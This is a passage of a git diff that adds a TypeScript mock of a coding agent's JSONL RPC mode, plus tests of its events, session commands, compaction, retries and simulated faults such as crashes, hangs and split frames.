}); + const types = eventTypes(driver); + expect(types.slice(-5)).toEqual([ + "message_end:assistant", + "turn_end", + "agent_end", + "agent_settled", + "response:abort", + ]); + const aborted = driver.records + .filter((record) => record.type === "message_end") + .at(-1)?.message as JsonObject; + expect(aborted).toMatchObject({ + stopReason: "aborted", + errorMessage: "Request was aborted", + }); + expect(await driver.request("abort")).toMatchObject({ success: true }); + }, + TEST_TIMEOUT, + ); + + it( + "opens a session's first run with its system message and fails an empty compaction", + async () => { + const driver = start({ + systemMessage: { sections: { preamble: "You are Pi." } }, + compactFailure: "Nothing to compact (session too small)", + }); + const compact = await driver.request("compact", {}); + expect(compact).toEqual({ + id: compact.id, + type: "response", + command: "compact", + success: false, + error: "Nothing to compact (session too small)", + }); + expect(driver.events()).toEqual([ + { type: "compaction_start", reason: "manual" }, + { + type: "compaction_end", + reason: "manual", + aborted: false, + willRetry: false, + errorMessage: + "Compaction failed: Nothing to compact (session too small)", + }, + ]); + + await driver.request("prompt", { message: "first" }); + await settled(driver); + await driver.request("prompt", { message: "second" }); + await settled(driver, 2); + const types = eventTypes(driver); + const firstRun = types.slice(types.indexOf("agent_start")); + expect(firstRun.slice(0, 6)).toEqual([ + "agent_start", + "turn_start", + "message_start:system", + "message_end:system", + "message_start:user", + "message_end:user", + ]); + expect( + types.filter((type) => type === "message_start:system"), + ).toHaveLength(1); + const system = driver + .events() + .find( + (event) => + event.type === "message_end" && + (event.message as JsonObject).role === "system", + )?.message; + expect(system).toMatchObject({ + role: "system", + content: "", + sections: { preamble: "You are Pi." }, + timestamp: expect.any(Number), + }); + const messages = (await driver.request("get_messages")).data as { + messages: JsonObject[]; + }; + expect(messages.messages.map((message) => message.role)).toEqual([ + "system", + "user", + "assistant", + "user", + "assistant", + ]); + + // A new session starts over with a fresh system message. + await driver.request("new_session", {}); + await driver.request("prompt", { message: "third" }); + await settled(driver, 3); + expect( + eventTypes(driver).filter((type) => type === "message_start:system"), + ).toHaveLength(2); + }, + TEST_TIMEOUT, + ); + + it( + "emits compaction, retry and extension error events, and compacts on command", + async () => { + const driver = start({ + prompts: [ + { + steps: [ + { + type: "retry", + attempt: 1, + maxAttempts: 3, + delayMs: 2000, + errorMessage: "529 overloaded", + }, + { type: "compaction", reason: "overflow", willRetry: true }, + { type: "extensionError", error: "boom" }, + { type: "text", text: "recovered" }, + ], + }, + ], + }); + await driver.request("prompt", { message: "go" }); + await settled(driver); + expect(driver.events()).toContainEqual({ + type: "auto_retry_start", + attempt: 1, + maxAttempts: 3, + delayMs: 2000, + errorMessage: "529 overloaded", + }); + expect(driver.events()).toContainEqual({ + type: "auto_retry_end", + success: true, + attempt: 2, + }); + expect(driver.events()).toContainEqual({ + type: "compaction_start", + reason: "overflow", + }); + expect(driver.events()).toContainEqual( + expect.objectContaining({ + type: "compaction_end", + reason: "overflow", + aborted: false, + willRetry: true, + }), + ); + expect(driver.events()).toContainEqual( + expect.objectContaining({ + type: "extension_error", + event: "tool_call", + error: "boom", + }), + ); + + const compact = await driver.request("compact", { + customInstructions: "focus", + }); + expect(compact.data).toMatchObject({ + summary: expect.any(String), + tokensBefore: 150000, + estimatedTokensAfter: 32000, + }); + expect( + driver + .events() + .filter((event) => event.type === "compaction_start") + .at(-1), + ).toEqual({ + type: "compaction_start", + reason: "manual", + }); + }, + TEST_TIMEOUT, + ); + + it( + "rejects or handles prompts per script", + async () => { + const driver = start({ + prompts: [ + { match: "/mycommand", disposition: "handled" }, + { match: "no model", reject: "No model selected." }, + ], + }); + expect( + await driver.request("prompt", { message: "/mycommand now" }), + ).toMatchObject({ + success: true, + data: { disposition: "handled" }, + }); + expect( + await driver.request("prompt", { message: "no model please" }), + ).toMatchObject({ + success: false, + error: "No model selected.", + }); + expect(driver.events()).toEqual([]); + }, + TEST_TIMEOUT, + ); +}); + +describe("Pi RPC mock: framing and faults", () => { + it( + "survives CRLF, split frames, U+2028 in strings and stdout noise", + async () => { + const driver = start({ + faults: { + crlf: true, + splitFramesBytes: 3, + startupStdout: ["pi banner"], + }, + prompts: [ + { + steps: [ + { type: "stdout", lines: ["debug: not json"] }, + { type: "text", text: "line
separator
end" }, + ], + }, + ], + }); + await driver.request("prompt", { message: "go" }); + await settled(driver); + expect(driver.noise).toEqual(["pi banner", "debug: not json"]); + expect(driver.raw()).toContain("\r\n"); + expect(driver.raw()).toContain("line
separator
end"); + const end = driver.records.find( + (record) => + (record.assistantMessageEvent as JsonObject | undefined)?.type === + "text_end", + ); + expect((end?.assistantMessageEvent as JsonObject).content).toBe( + "line
separator
end", + ); + }, + TEST_TIMEOUT, + ); + + it( + "crashes mid-run, hangs configured commands and exits when stdin closes", + async () => { + const crashing = start({ + prompts: [ + { + steps: [ + { type: "text", text: "bye" }, + { type: "exit", code: 4 }, + ], + }, + ], + }); + await crashing.request("prompt", { message: "go" }); + expect( + await withTimeout(crashing.fixture.exited, 5_000, "crash"), + ).toEqual({ code: 4, signal: null }); + expect( + crashing.records.some((record) => record.type === "agent_settled"), + ).toBe(false); + + const hanging = start({ + hangCommands: ["get_state"], + commandDelays: { get_messages: 200 }, + }); + const error = await hanging + .request("get_state", {}, 300) + .catch((caught: unknown) => caught); + expect((error as Error).name).toBe("FixtureTimeoutError"); + const startedAt = Date.now(); + await hanging.request("get_messages"); + expect(Date.now() - startedAt).toBeGreaterThanOrEqual(180); + hanging.fixture.child.stdin.end(); + expect(await withTimeout(hanging.fixture.exited, 5_000, "exit")).toEqual({ + code: 0, + signal: null, + }); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/pi/mock-rpc.ts b/scripts/fixtures/agents/pi/mock-rpc.ts new file mode 100644 index 00000000..f394a39b --- /dev/null +++ b/scripts/fixtures/agents/pi/mock-rpc.ts @@ -0,0 +1,1179 @@ +#!/usr/bin/env bun +// Mock `pi --mode rpc`: strict LF-delimited JSONL on stdio. Commands +// `{id?, type, ...}` get `{id, type:"response", command, success, data|error}`; +// everything else on stdout is a session event or an extension UI request. +// Shapes follow @earendil-works/pi-coding-agent 1.0.4 (see README.md). +// +// SENTINEL_PI_MOCK_SCENARIO='{"prompts":[...]}' bun scripts/fixtures/agents/pi/mock-rpc.ts +// +// Every record received on stdin is appended to SENTINEL_PI_MOCK_LOG as JSONL. +import { randomUUID } from "node:crypto"; +import { StringDecoder } from "node:string_decoder"; + +import { + createJsonlLog, + createStdoutWriter, + deepClone, + floodStderr, + loadScenarioFromEnv, + sleep, + waitForAbort, + writeStderr, + type JsonObject, +} from "../shared/fixture-io"; +import { + DEFAULT_PI_MODELS, + PI_MOCK_LOG_ENV, + PI_MOCK_SCENARIO_ENV, + PI_MOCK_SCENARIO_FILE_ENV, + ZERO_PI_USAGE, + type PiBranches, + type PiModel, + type PiMockScenario, + type PiPromptScript, + type PiStep, + type PiThinkingLevel, + type PiUsage, +} from "./scenario"; + +const scenario = loadScenarioFromEnv( + PI_MOCK_SCENARIO_ENV, + PI_MOCK_SCENARIO_FILE_ENV, +); +const log = createJsonlLog(process.env[PI_MOCK_LOG_ENV]); +const faults = scenario.faults ?? {}; +const stdout = createStdoutWriter({ + splitFramesBytes: faults.splitFramesBytes, +}); +const EOL = faults.crlf ? "\r\n" : "\n"; +const DIALOG_METHODS = new Set(["select", "confirm", "input", "editor"]); +const BUSY_MESSAGE = + "Agent is already processing. Specify streamingBehavior ('steer' or 'followUp') to queue the message."; + +function output(record: JsonObject): Promise { + return stdout.write(`${JSON.stringify(record)}${EOL}`); +} + +function success(id: unknown, command: string, data?: unknown): JsonObject { + return data === undefined + ? { id, type: "response", command, success: true } + : { id, type: "response", command, success: true, data }; +} + +function failure(id: unknown, command: string, error: string): JsonObject { + return { id, type: "response", command, success: false, error }; +} + +async function exitProcess(code: number, event: string): Promise { + log({ kind: "lifecycle", event, detail: { code } }); + await stdout.flush(); + process.exit(code); +} + +// --------------------------------------------------------------------------- +// Session state +// --------------------------------------------------------------------------- + +const models: PiModel[] = scenario.models ?? DEFAULT_PI_MODELS; +const modelKey = (model: PiModel) => `${model.provider}/${model.id}`; +let entryCounter = 0; +let sessionCounter = 0; + +function newSessionIdentity() { + sessionCounter += 1; + const sessionId = `mock-pi-session-${sessionCounter}`; + return { + sessionId, + sessionFile: `/mock/.pi/agent/sessions/--mock--/${sessionId}.jsonl` as + string | undefined, + }; +} + +const initialIdentity = newSessionIdentity(); +const state = { + sessionId: scenario.state?.sessionId ?? initialIdentity.sessionId, + sessionFile: + scenario.state?.sessionFile === null + ? undefined + : (scenario.state?.sessionFile ?? initialIdentity.sessionFile), + sessionName: scenario.state?.sessionName as string | undefined, + thinkingLevel: (scenario.state?.thinkingLevel ?? "medium") as PiThinkingLevel, + model: + scenario.state?.model === null + ? undefined + : (models.find((model) => modelKey(model) === scenario.state?.model) ?? + models[0]), + autoCompactionEnabled: scenario.state?.autoCompactionEnabled ?? true, + steeringMode: "one-at-a-time", + followUpMode: "one-at-a-time", + isCompacting: false, + messages: deepClone(scenario.messages ?? []), + entries: deepClone(scenario.entries ?? []), +}; + +function leafId(): string | null { + const last = state.entries.at(-1); + return typeof last?.id === "string" ? last.id : null; +} + +function recordMessage(message: JsonObject) { + state.messages.push(message); + entryCounter += 1; + state.entries.push({ + type: "message", + id: `entry-${entryCounter}`, + parentId: leafId(), + timestamp: new Date().toISOString(), + message, + }); +} + +function messageText(message: unknown): string { + if (!message || typeof message !== "object") return ""; + const content = (message as JsonObject).content; + if (typeof content === "string") return content; + if (!Array.isArray(content)) return ""; + return content + .flatMap((part: unknown) => + part && typeof part === "object" && (part as JsonObject).type === "text" + ? [String((part as JsonObject).text ?? "")] + : [], + ) + .join(""); +} + +function sessionStats(): JsonObject { + const count = (role: string) => + state.messages.filter((message) => message.role === role).length; + const tokens = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }; + let cost = 0; + let toolCalls = 0; + let lastContext = 0; + for (const message of state.messages) { + if (message.role !== "assistant") continue; + const usage = message.usage as PiUsage | undefined; + if (usage) { + tokens.input += usage.input; + tokens.output += usage.output; + tokens.cacheRead += usage.cacheRead; + tokens.cacheWrite += usage.cacheWrite; + tokens.total += usage.totalTokens; + cost += usage.cost.total; + lastContext = usage.totalTokens || lastContext; + } + const content = Array.isArray(message.content) ? message.content : []; + toolCalls += content.filter( + (part: unknown) => (part as JsonObject | null)?.type === "toolCall", + ).length; + } + const contextWindow = state.model?.contextWindow; + return { + sessionFile: state.sessionFile, + sessionId: state.sessionId, + userMessages: count("user"), + assistantMessages: count("assistant"), + toolCalls, + toolResults: count("toolResult"), + totalMessages: state.messages.length, + tokens, + cost, + ...(contextWindow + ? { + contextUsage: { + tokens: lastContext, + contextWindow, + percent: Math.round((lastContext / contextWindow) * 100), + }, + } + : {}), + ...scenario.sessionStats, + }; +} + +// --------------------------------------------------------------------------- +// Runs +// --------------------------------------------------------------------------- + +type QueuedInput = { text: string; images?: unknown[] }; + +type Run = { + controller: AbortController; + steering: QueuedInput[]; + followUp: QueuedInput[]; + /** Messages produced by this run, for `agent_end`. */ + messages: JsonObject[]; + turnOpen: boolean; + assistant?: JsonObject; + /** The tool currently executing, if any. */ + tool?: { id: string; name: string; args: JsonObject }; + done: Promise; +}; + +let run: Run | undefined; +let unmatchedPrompts = 0; +const pendingDialogs = new Map void>(); + +function selectScript(text: string): PiPromptScript { + const scripts = scenario.prompts ?? []; + const matched = scripts.find( + (script) => script.match !== undefined && text.includes(script.match), + ); + if (matched) return matched; + const ordered = scripts.filter((script) => script.match === undefined); + const index = unmatchedPrompts++; + return ( + ordered[Math.min(index, ordered.length - 1)] ?? { + steps: [{ type: "text", text: "Mock reply." }], + } + ); +} + +function emitQueueUpdate(current: Run) { + return output({ + type: "queue_update", + steering: current.steering.map((input) => input.text), + followUp: current.followUp.map((input) => input.text), + }); +} + +function assistantUsage(current: Run): PiUsage { + return (current.assistant?.usage as PiUsage | undefined) ?? ZERO_PI_USAGE; +} + +async function openTurn(current: Run) { + if (current.turnOpen) return; + current.turnOpen = true; + await output({ type: "turn_start" }); +} + +async function deliverUserMessage(current: Run, input: QueuedInput) { + await openTurn(current); + const message = { + role: "user", + content: [{ type: "text", text: input.text }, ...(input.images ?? [])], + timestamp: Date.now(), + }; + await output({ type: "message_start", message }); + await output({ type: "message_end", message }); + current.messages.push(message); + recordMessage(message); +} + +/** + * Pi 1.0 opens a session's first run with its leading system message (the + * prompt sections and tools) between `turn_start` and the user message. + */ +async function emitSystemMessage(current: Run) { + const configured = scenario.systemMessage; + if (!configured) return; + if (state.messages.some((message) => message.role === "system")) return; + await openTurn(current); + const message: JsonObject = { + role: "system", + content: "", + timestamp: Date.now(), + ...(configured === true + ? { + sections: { + preamble: "You are an expert coding assistant.", + cwd: process.cwd(), + }, + toolsAdded: [ + { + name: "read", + description: "Read the contents of a file.", + parameters: {}, + }, + ], + } + : configured), + }; + await output({ type: "message_start", message }); + await output({ type: "message_end", message }); + current.messages.push(message); + recordMessage(message); +} + +async function ensureAssistant(current: Run): Promise { + await openTurn(current); + if (current.assistant) return current.assistant; + const model = state.model; + current.assistant = { + role: "assistant", + content: [], + api: model?.api ?? "unknown", + provider: model?.provider ?? "unknown", + model: model?.id ?? "unknown", + usage: deepClone(ZERO_PI_USAGE), + stopReason: "pending", + timestamp: Date.now(), + }; + await output({ + type: "message_start", + message: deepClone(current.assistant), + }); + return current.assistant; +} + +function messageUpdate(current: Run, assistantMessageEvent: JsonObject) { + return output({ + type: "message_update", + usage: assistantUsage(current), + assistantMessageEvent, + }); +} + +async function closeAssistant( + current: Run, + stopReason: string, + extra: { usage?: PiUsage; errorMessage?: string } = {}, +): Promise { + const message = current.assistant; + if (!message) return undefined; + message.stopReason = stopReason; + if (extra.usage) message.usage = extra.usage; + if (extra.errorMessage) message.errorMessage = extra.errorMessage; + await output({ type: "message_end", message }); + current.messages.push(message); + recordMessage(message); + current.assistant = undefined; + return message; +} + +async function endTurn( + current: Run, + message: JsonObject | undefined, + toolResults: JsonObject[], +) { + if (!current.turnOpen) return; + current.turnOpen = false; + await output({ type: "turn_end", message: message ?? null, toolResults }); +} + +async function streamBlock( + current: Run, + kind: "text" | "thinking", + text: string | string[], +) { + const assistant = await ensureAssistant(current); + const content = assistant.content as JsonObject[]; + const contentIndex = content.length; + const block: JsonObject = + kind === "text" + ? { type: "text", text: "" } + : { type: "thinking", thinking: "" }; + content.push(block); + const field = kind === "text" ? "text" : "thinking"; + await messageUpdate(current, { type: `${kind}_start`, contentIndex }); + for (const delta of Array.isArray(text) ? text : [text]) { + if (current.controller.signal.aborted) + throw current.controller.signal.reason; + block[field] = `${String(block[field])}${delta}`; + await messageUpdate(current, { + type: `${kind}_delta`, + contentIndex, + delta, + }); + } + await messageUpdate(current, { + type: `${kind}_end`, + contentIndex, + content: block[field], + }); +} + +async function runToolCall( + current: Run, + step: Extract, +) { + const signal = current.controller.signal; + const assistant = await ensureAssistant(current); + const content = assistant.content as JsonObject[]; + const contentIndex = content.length; + const toolCallId = + step.id ?? `toolu_${randomUUID().replaceAll("-", "").slice(0, 20)}`; + const toolCall = { + type: "toolCall", + id: toolCallId, + name: step.name, + arguments: step.args, + }; + content.push(toolCall); + await messageUpdate(current, { + type: "toolcall_start", + contentIndex, + id: toolCallId, + toolName: step.name, + }); + await messageUpdate(current, { + type: "toolcall_delta", + contentIndex, + delta: JSON.stringify(step.args), + }); + await messageUpdate(current, { + type: "toolcall_end", + contentIndex, + toolCall, + }); + const assistantMessage = await closeAssistant(current, "toolUse"); + + current.tool = { id: toolCallId, name: step.name, args: step.args }; + await output({ + type: "tool_execution_start", + toolCallId, + toolName: step.name, + args: step.args, + }); + for (const partialResult of step.updates ?? []) { + if (signal.aborted) throw signal.reason; + await output({ + type: "tool_execution_update", + toolCallId, + toolName: step.name, + args: step.args, + partialResult, + }); + } + if (step.durationMs) await sleep(step.durationMs, signal); + const result = step.result ?? { + content: [{ type: "text", text: "ok" }], + details: {}, + }; + await finishTool(current, assistantMessage, result, step.isError ?? false); +} + +async function finishTool( + current: Run, + assistantMessage: JsonObject | undefined, + result: JsonObject, + isError: boolean, +) { + const tool = current.tool; + if (!tool) return; + current.tool = undefined; + await output({ + type: "tool_execution_end", + toolCallId: tool.id, + toolName: tool.name, + result, + isError, + }); + const toolResult = { + role: "toolResult", + toolCallId: tool.id, + toolName: tool.name, + content: result.content ?? [], + details: result.details ?? {}, + isError, + timestamp: Date.now(), + }; + await output({ type: "message_start", message: toolResult }); + await output({ type: "message_end", message: toolResult }); + current.messages.push(toolResult); + recordMessage(toolResult); + await endTurn(current, assistantMessage, [toolResult]); +} + +function pickBranch( + branches: PiBranches | undefined, + key: string, +): PiStep[] | undefined { + return branches?.[key] ?? branches?.["*"]; +} + +async function runDialog( + current: Run, + step: Extract, +): Promise { + const id = randomUUID(); + const fields = step.fields ?? {}; + const response = new Promise((resolve) => + pendingDialogs.set(id, resolve), + ); + await output({ + type: "extension_ui_request", + id, + method: step.method, + ...fields, + }); + const waits: Array> = [ + response, + waitForAbort(current.controller.signal).catch(() => ({ cancelled: true })), + ]; + if (typeof fields.timeout === "number") { + const timeoutMs = fields.timeout; + waits.push(sleep(timeoutMs).then(() => ({ timeout: true }))); + } + const answer = await Promise.race(waits); + pendingDialogs.delete(id); + if (answer.timeout === true) return "timeout"; + if (answer.cancelled === true) return "cancelled"; + if (step.method === "confirm") + return answer.confirmed === true ? "confirmed" : "declined"; + return typeof answer.value === "string" ? answer.value : "cancelled"; +} + +/** Runs steps; returns "steered" when a steering message cut the script short. */ +async function runSteps( + current: Run, + steps: PiStep[] | undefined, +): Promise<"done" | "steered"> { + const signal = current.controller.signal; + for (const step of steps ?? []) { + if (signal.aborted) throw signal.reason; + switch (step.type) { + case "text": + case "thinking": + await streamBlock(current, step.type, step.text); + break; + case "toolCall": + await runToolCall(current, step); + if (current.steering.length > 0) return "steered"; + break; + case "ui": + if (DIALOG_METHODS.has(step.method)) { + const key = await runDialog(current, step); + const outcome = await runSteps( + current, + pickBranch(step.branches, key), + ); + if (outcome === "steered") return outcome; + } else { + await output({ + type: "extension_ui_request", + id: randomUUID(), + method: step.method, + ...step.fields, + }); + } + break; + case "compaction": { + const reason = step.reason ?? "threshold"; + state.isCompacting = true; + await output({ type: "compaction_start", reason }); + if (step.durationMs) await sleep(step.durationMs, signal); + state.isCompacting = false; + await output({ + type: "compaction_end", + reason, + ...(step.aborted || step.errorMessage + ? {} + : { result: step.result ?? compactionResult() }), + aborted: step.aborted ?? false, + willRetry: step.willRetry ?? false, + ...(step.errorMessage ? { errorMessage: step.errorMessage } : {}), + }); + break; + } + case "retry": { + const attempt = step.attempt ?? 1; + await output({ + type: "auto_retry_start", + attempt, + maxAttempts: step.maxAttempts ?? 3, + delayMs: step.delayMs ?? 2000, + errorMessage: step.errorMessage ?? "529 overloaded", + }); + if (step.waitMs) await sleep(step.waitMs, signal); + await output( + step.success === false + ? { + type: "auto_retry_end", + success: false, + attempt, + finalError: + step.finalError ?? step.errorMessage ?? "529 overloaded", + } + : { type: "auto_retry_end", success: true, attempt: attempt + 1 }, + ); + break; + } + case "event": + await output(step.event); + break; + case "extensionError": + await output({ + type: "extension_error", + extensionPath: + step.extensionPath ?? "/mock/.pi/extensions/sentinel.ts", + event: step.event ?? "tool_call", + error: step.error, + }); + break; + case "delay": + await sleep(step.ms, signal); + break; + case "stdout": + for (const line of step.lines) await stdout.write(`${line}\n`); + break; + case "stderr": + await writeStderr(`${step.text}\n`, step.repeat); + break; + case "exit": + if (step.signal) { + await stdout.flush(); + process.kill(process.pid, step.signal); + await waitForAbort(); + } + await exitProcess(step.code ?? 1, "exit-step"); + break; + case "hang": + await waitForAbort(signal); + break; + } + } + return "done"; +} + +async function runScript(current: Run, script: PiPromptScript): Promise { + const outcome = await runSteps(current, script.steps); + if (outcome === "steered") return; + await ensureAssistant(current); + const message = await closeAssistant(current, script.stopReason ?? "stop", { + usage: script.usage ?? defaultUsage(), + ...(script.errorMessage ? { errorMessage: script.errorMessage } : {}), + }); + await endTurn(current, message, []); +} + +function defaultUsage(): PiUsage { + return { + input: 120, + output: 30, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 150, + cost: { + input: 0.00036, + output: 0.00045, + cacheRead: 0, + cacheWrite: 0, + total: 0.00081, + }, + }; +} + +function compactionResult(): JsonObject { + return ( + scenario.compaction ?? { + summary: "Summary of the conversation so far.", + firstKeptEntryId: leafId() ?? "entry-0", + tokensBefore: 150000, + estimatedTokensAfter: 32000, + usage: defaultUsage(), + details: {}, + } + ); +} + +async function finishAborted(current: Run) { + const errorMessage = scenario.abortErrorMessage ?? "Request was aborted"; + if (current.tool) { + await finishTool( + current, + undefined, + { content: [{ type: "text", text: errorMessage }], details: {} }, + true, + ); + } + if (current.assistant) { + const message = await closeAssistant(current, "aborted", { errorMessage }); + await endTurn(current, message, []); + } + await endTurn(current, undefined, []); +} + +function startRun(input: QueuedInput, script: PiPromptScript): Run { + const current: Run = { + controller: new AbortController(), + steering: [], + followUp: [], + messages: [], + turnOpen: false, + done: Promise.resolve(), + }; + run = current; + current.done = (async () => { + await output({ type: "agent_start" }); + try { + await emitSystemMessage(current); + await deliverUserMessage(current, input); + await runScript(current, script); + for (;;) { + const next = current.steering.shift() ?? current.followUp.shift(); + if (!next) break; + await emitQueueUpdate(current); + await deliverUserMessage(current, next); + await runScript(current, selectScript(next.text)); + } + } catch (error) { + if (!current.controller.signal.aborted) { + await writeStderr(`[pi-mock] run failed: ${String(error)}\n`); + } + await finishAborted(current); + } + for (const resolve of pendingDialogs.values()) resolve({ cancelled: true }); + await output({ + type: "agent_end", + messages: current.messages, + willRetry: false, + }); + if (run === current) run = undefined; + await output({ type: "agent_settled" }); + })(); + return current; +} + +async function enqueue(kind: "steer" | "followUp", input: QueuedInput) { + if (!run) { + startRun(input, selectScript(input.text)); + return; + } + (kind === "steer" ? run.steering : run.followUp).push(input); + await emitQueueUpdate(run); +} + +// --------------------------------------------------------------------------- +// Commands +// --------------------------------------------------------------------------- + +function findModel(provider: unknown, modelId: unknown) { + return models.find( + (model) => model.provider === provider && model.id === modelId, + ); +} + +function loadSession( + identity: { sessionId: string; sessionFile?: string }, + data: { + sessionName?: string; + messages?: JsonObject[]; + entries?: JsonObject[]; + }, +) { + state.sessionId = identity.sessionId; + state.sessionFile = identity.sessionFile; + state.sessionName = data.sessionName; + state.messages = deepClone(data.messages ?? []); + state.entries = deepClone(data.entries ?? []); +} + +async function handleCommand( + command: JsonObject, +): Promise { + const id = command.id; + const type = String(command.type); + const message = typeof command.message === "string" ? command.message : ""; + const images = Array.isArray(command.images) ? command.images : undefined; + + switch (type) { + case "prompt": { + if (run) { + const behavior = command.streamingBehavior; + if (behavior !== "steer" && behavior !== "followUp") { + return failure(id, "prompt", BUSY_MESSAGE); + } + await enqueue(behavior, { text: message, images }); + return success(id, "prompt", { disposition: "queued" }); + } + const script = selectScript(message); + if (script.reject) return failure(id, "prompt", script.reject); + if (script.disposition === "handled") { + return success(id, "prompt", { disposition: "handled" }); + } + await output(success(id, "prompt", { disposition: "started" })); + startRun({ text: message, images }, script); + return undefined; + } + case "steer": + case "follow_up": + await enqueue(type === "steer" ? "steer" : "followUp", { + text: message, + images, + }); + return success(id, type, { disposition: "queued" }); + case "abort": { + const current = run; + if (current) { + current.controller.abort(new Error("aborted")); + await current.done; + } + return success(id, "abort"); + } + case "clear_queue": { + const steering = run?.steering.splice(0).map((input) => input.text) ?? []; + const followUp = run?.followUp.splice(0).map((input) => input.text) ?? []; + if (run) await emitQueueUpdate(run); + return success(id, "clear_queue", { steering, followUp }); + } + case "new_session": { + if (scenario.cancelled?.new_session) { + return success(id, "new_session", { cancelled: true }); + } + loadSession(newSessionIdentity(), {}); + return success(id, "new_session", { cancelled: false }); + } + case "get_state": + return success(id, "get_state", { + model: state.model, + thinkingLevel: state.thinkingLevel, + isStreaming: run !== undefined, + isCompacting: state.isCompacting, + steeringMode: state.steeringMode, + followUpMode: state.followUpMode, + sessionFile: state.sessionFile, + sessionId: state.sessionId, + sessionName: state.sessionName, + autoCompactionEnabled: state.autoCompactionEnabled, + messageCount: state.messages.length, + pendingMessageCount: + (run?.steering.length ?? 0) + (run?.followUp.length ?? 0), + }); + case "get_messages": + return success(id, "get_messages", { messages: state.messages }); + case "set_model": { + const model = findModel(command.provider, command.modelId); + if (!model) { + return failure( + id, + "set_model", + `Model not found: ${String(command.provider)}/${String(command.modelId)}`, + ); + } + state.model = model; + return success(id, "set_model", model); + } + case "cycle_model": { + if (models.length < 2) return success(id, "cycle_model", null); + const index = state.model ? models.indexOf(state.model) : -1; + state.model = models[(index + 1) % models.length]; + return success(id, "cycle_model", { + model: state.model, + thinkingLevel: state.thinkingLevel, + isScoped: false, + }); + } + case "get_available_models": + return success(id, "get_available_models", { models }); + case "set_thinking_level": { + const level = command.level as PiThinkingLevel; + if (level !== state.thinkingLevel) { + state.thinkingLevel = level; + await output({ type: "thinking_level_changed", level }); + } + return success(id, "set_thinking_level"); + } + case "cycle_thinking_level": { + const levels = availableThinkingLevels(); + if (levels.length < 2) return success(id, "cycle_thinking_level", null); + const next = + levels[(levels.indexOf(state.thinkingLevel) + 1) % levels.length]; + state.thinkingLevel = next ?? state.thinkingLevel; + return success(id, "cycle_thinking_level", { + level: state.thinkingLevel, + }); + } + case "get_available_thinking_levels": + return success(id, "get_available_thinking_levels", { + levels: availableThinkingLevels(), + }); + case "set_steering_mode": + state.steeringMode = String(command.mode); + return success(id, type); + case "set_follow_up_mode": + state.followUpMode = String(command.mode); + return success(id, type); + case "set_auto_compaction": + state.autoCompactionEnabled = command.enabled === true; + return success(id, type); + case "set_auto_retry": + case "abort_retry": + case "abort_bash": + return success(id, type); + case "compact": { + if (typeof scenario.compactFailure === "string") { + // Pi 1.0 with nothing to compact (t3code pi_compaction recording). + await output({ type: "compaction_start", reason: "manual" }); + await output({ + type: "compaction_end", + reason: "manual", + aborted: false, + willRetry: false, + errorMessage: `Compaction failed: ${scenario.compactFailure}`, + }); + return failure(id, "compact", scenario.compactFailure); + } + const result = compactionResult(); + await output({ type: "compaction_start", reason: "manual" }); + await output({ + type: "compaction_end", + reason: "manual", + result, + aborted: false, + willRetry: false, + }); + return success(id, "compact", result); + } + case "bash": { + const shell = String(command.command); + const configured = scenario.bash?.[shell]; + const text = configured?.output ?? `mock output for ${shell}\n`; + await output({ + type: "bash_execution_update", + ...(id === undefined ? {} : { id }), + delta: text, + }); + return success(id, "bash", { + output: text, + exitCode: configured?.exitCode ?? 0, + cancelled: false, + truncated: false, + }); + } + case "get_session_stats": + return success(id, "get_session_stats", sessionStats()); + case "export_html": + return success(id, "export_html", { + path: + typeof command.outputPath === "string" + ? command.outputPath + : "/tmp/pi-session.html", + }); + case "switch_session": { + if (scenario.cancelled?.switch_session) { + return success(id, "switch_session", { cancelled: true }); + } + const sessionPath = String(command.sessionPath); + const target = scenario.sessions?.[sessionPath]; + if (!target) { + return failure( + id, + "switch_session", + `Session file not found: ${sessionPath}`, + ); + } + loadSession( + { + sessionId: target.sessionId ?? newSessionIdentity().sessionId, + sessionFile: sessionPath, + }, + target, + ); + return success(id, "switch_session", { cancelled: false }); + } + case "fork": { + if (scenario.cancelled?.fork) + return success(id, "fork", { cancelled: true }); + const index = state.entries.findIndex( + (entry) => entry.id === command.entryId, + ); + const entry = state.entries[index]; + if (!entry) + return failure( + id, + "fork", + `Entry not found: ${String(command.entryId)}`, + ); + const text = messageText(entry.message); + const kept = state.entries.slice(0, index); + loadSession(newSessionIdentity(), { + messages: kept.flatMap((item) => + item.message ? [item.message as JsonObject] : [], + ), + entries: kept, + }); + return success(id, "fork", { text, cancelled: false }); + } + case "clone": { + if (scenario.cancelled?.clone) + return success(id, "clone", { cancelled: true }); + if (!leafId()) { + return failure( + id, + "clone", + "Cannot clone session: no current entry selected", + ); + } + loadSession(newSessionIdentity(), { + messages: state.messages, + entries: state.entries, + }); + return success(id, "clone", { cancelled: false }); + } + case "get_fork_messages": + return success(id, "get_fork_messages", { + messages: state.entries.flatMap((entry) => + (entry.message as JsonObject | undefined)?.role === "user" + ? [{ entryId: entry.id, text: messageText(entry.message) }] + : [], + ), + }); + case "get_entries": { + let entries = state.entries; + if (command.since !== undefined) { + const index = entries.findIndex((entry) => entry.id === command.since); + if (index === -1) { + return failure( + id, + "get_entries", + `Entry not found: ${String(command.since)}`, + ); + } + entries = entries.slice(index + 1); + } + return success(id, "get_entries", { entries, leafId: leafId() }); + } + case "get_tree": { + // The mock's sessions never branch: the tree is one chain. + let tree: JsonObject[] = []; + for (const entry of [...state.entries].reverse()) { + tree = [{ entry, children: tree }]; + } + return success(id, "get_tree", { tree, leafId: leafId() }); + } + case "get_last_assistant_text": { + const last = [...state.messages] + .reverse() + .find((item) => item.role === "assistant"); + const text = last ? messageText(last) : ""; + return success(id, "get_last_assistant_text", { + text: text === "" ? null : text, + }); + } + case "set_session_name": { + const name = String(command.name ?? "").trim(); + if (!name) + return failure(id, "set_session_name", "Session name cannot be empty"); + state.sessionName = name; + await output({ type: "session_info_changed", name }); + return success(id, "set_session_name"); + } + case "get_commands": + return success(id, "get_commands", { commands: scenario.commands ?? [] }); + default: + return failure(id, type, `Unknown command: ${type}`); + } +} + +function availableThinkingLevels(): PiThinkingLevel[] { + if (scenario.thinkingLevels) return scenario.thinkingLevels; + const model = state.model; + if (!model?.reasoning) return ["off"]; + const ladder: PiThinkingLevel[] = [ + "off", + "minimal", + "low", + "medium", + "high", + "xhigh", + "max", + ]; + return ladder.filter((level) => { + const mapped = model.thinkingLevelMap?.[level]; + if (level === "xhigh" || level === "max") return typeof mapped === "string"; + return mapped !== null; + }); +} + +async function dispatch(command: JsonObject) { + const type = 